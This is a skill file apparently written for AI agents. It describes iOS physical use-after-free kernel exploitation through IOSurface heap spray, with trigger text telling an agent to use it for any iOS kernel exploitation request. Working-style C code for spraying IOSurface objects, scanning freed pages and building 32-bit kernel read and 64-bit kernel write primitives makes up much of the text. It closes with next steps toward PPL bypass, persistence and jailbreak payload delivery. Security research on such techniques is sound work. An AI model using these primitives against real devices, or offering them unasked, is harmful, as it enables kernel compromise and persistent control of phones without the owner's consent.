Hacktricks-skills ios-physical-uaf-exploitation

iOS physical use-after-free exploitation via IOSurface heap spray. Use this skill whenever the user mentions iOS kernel exploitation, physical UAF, IOSurface, page table manipulation, kernel read/write primitives, or jailbreak development on iOS devices. Trigger for any iOS security research involving memory corruption, kernel vulnerabilities, or privilege escalation techniques.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface/SKILL.MD
source content

iOS Physical Use-After-Free Exploitation via IOSurface

This skill provides guidance on iOS physical use-after-free (UAF) exploitation using IOSurface heap spray techniques. This is an advanced kernel exploitation method used in iOS jailbreak development and security research.

When to Use This Skill

Use this skill when:

  • Researching iOS kernel vulnerabilities
  • Developing or analyzing iOS jailbreak exploits
  • Working with physical memory corruption on iOS
  • Needing kernel read/write primitives on iOS
  • Investigating IOSurface-based exploitation techniques
  • Analyzing iOS exploit mitigations and bypasses

iOS Exploit Mitigations Overview

Before attempting exploitation, understand these protections:

MitigationPurposeBypass Difficulty
Code SigningRequires cryptographic signatures on all executablesHigh
CoreTrustRuntime signature verificationHigh
DEPMarks memory as non-executableMedium
ASLRRandomizes memory addressesMedium
KASLRKernel address randomizationHigh
KPP/AMFIKernel patch protectionVery High
KTRRKernel text read-only regionVery High
PACPointer authentication codesVery High
PANPrivileged access neverHigh
PPLPage protection layerVery High

Warning: iOS 16+ (A12+) devices have hardware mitigations (PPL, SPTM, KTRR) that make physical UAF techniques far less viable. This technique is primarily useful for older devices or research purposes.

Physical Use-After-Free Concept

How It Works

  1. Allocate: A process allocates memory as readable/writable
  2. Map: Page tables map this to a physical address
  3. Free: Process deallocates the memory
  4. Bug: Kernel forgets to remove page table mapping
  5. Reuse: Kernel reallocates the physical memory for other purposes
  6. Access: Process can still read/write the physical memory (now kernel data)

Memory Management in XNU

iOS uses a 3-level page table hierarchy:

L1 Page Table (256 GB ranges)
    ↓
L2 Page Table (32 MB ranges)
    ↓
L3 Page Table (4 KB pages)
    ↓
Physical Address

Key Addresses:

  • User process virtual space:
    0x0
    to
    0x8000000000
  • L1 entry:
    0x1000000000
    bytes (256 GB)
  • L2 entry:
    0x2000000
    bytes (32 MB)
  • L3 entry: 4 KB pages

IOSurface Heap Spray Technique

Overview

Since attackers can't control which kernel pages are allocated to freed memory, they use heap spray:

  1. Create many IOSurface objects in kernel memory
  2. Each contains a magic value for identification
  3. Scan freed pages for IOSurface objects
  4. Use found objects for kernel read/write

Step-by-Step Process

Step 1: Spray IOSurface Objects

Create IOSurface objects with a unique magic value:

#define IOSURFACE_MAGIC 0x494F535552464143  // "IOSURFACE" magic value

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
    if (*nClients >= 0x4000) return;
    
    for (int i = 0; i < nSurfaces; i++) {
        fast_create_args_t args;
        lock_result_t result;
        
        size_t size = IOSurfaceLockResultSize;
        args.address = 0;
        args.alloc_size = *nClients + 1;
        args.pixel_format = IOSURFACE_MAGIC;
        
        IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
        io_connect_t id = result.surface_id;
        
        (*clients)[*nClients] = id;
        (*nClients)++;
    }
}

Step 2: Scan Freed Pages

Search for IOSurface objects in freed physical pages:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, 
                  uint64_t *self_task, uint64_t *puafPage) {
    io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
    int nSurfaceIDs = 0;
    
    for (int i = 0; i < 0x400; i++) {
        spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
        
        for (int j = 0; j < nPages; j++) {
            uint64_t start = puafPages[j];
            uint64_t stop = start + (pages(1) / 16);
            
            for (uint64_t k = start; k < stop; k += 8) {
                if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
                    info.object = k;
                    info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
                    if (self_task) *self_task = iosurface_get_receiver(k);
                    goto sprayDone;
                }
            }
        }
    }
    
sprayDone:
    for (int i = 0; i < nSurfaceIDs; i++) {
        if (surfaceIDs[i] == info.surface) continue;
        iosurface_release(client, surfaceIDs[i]);
    }
    free(surfaceIDs);
    
    return 0;
}

Step 3: Kernel Read/Write Primitives

Key IOSurface Fields:

  • Use Count Pointer: Enables 32-bit reads
  • Indexed Timestamp Pointer: Enables 64-bit writes

32-Bit Kernel Read:

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
    uint64_t args[1] = {surfaceID};
    uint32_t size = 1;
    uint64_t out = 0;
    IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
    return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
    uint64_t orig = iosurface_get_use_count_pointer(info.object);
    iosurface_set_use_count_pointer(info.object, addr - 0x14);  // Offset by 0x14
    uint32_t value = get_use_count(info.client, info.surface);
    iosurface_set_use_count_pointer(info.object, orig);
    return value;
}

64-Bit Kernel Write:

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
    uint64_t args[3] = {surfaceID, 0, value};
    IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
    uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
    iosurface_set_indexed_timestamp_pointer(info.object, addr);
    set_indexed_timestamp(info.client, info.surface, value);
    iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Exploit Flow Summary

1. Trigger Physical UAF → Free pages available for reuse
2. Spray IOSurface Objects → Allocate many with magic value
3. Identify Accessible IOSurface → Find one on freed page
4. Abuse UAF → Modify pointers for kernel read/write
5. Achieve Primitives → 32-bit reads, 64-bit writes

Important Considerations

Device Compatibility

iOS VersionChipPhysical UAF Viability
iOS 15 and earlierA11 and earlierHigh
iOS 16+A12+Low (PPL, SPTM, KTRR)

Limitations on Modern Devices

  • PPL: Blocks writes to protected pages even from compromised kernel
  • SPTM: Hardens page table updates with secure checks
  • KTRR: Locks kernel code as read-only after boot
  • IOSurface: Less predictable allocations, entitlement restrictions

References

Safety and Ethics

Important: This information is for educational and security research purposes only. Unauthorized exploitation of iOS devices may violate terms of service and local laws. Only use these techniques on devices you own or have explicit permission to test.

Next Steps

After achieving kernel read/write primitives:

  1. Bypass additional protections (PPL on arm64e)
  2. Achieve stable code execution
  3. Implement persistence mechanisms
  4. Consider full jailbreak payload delivery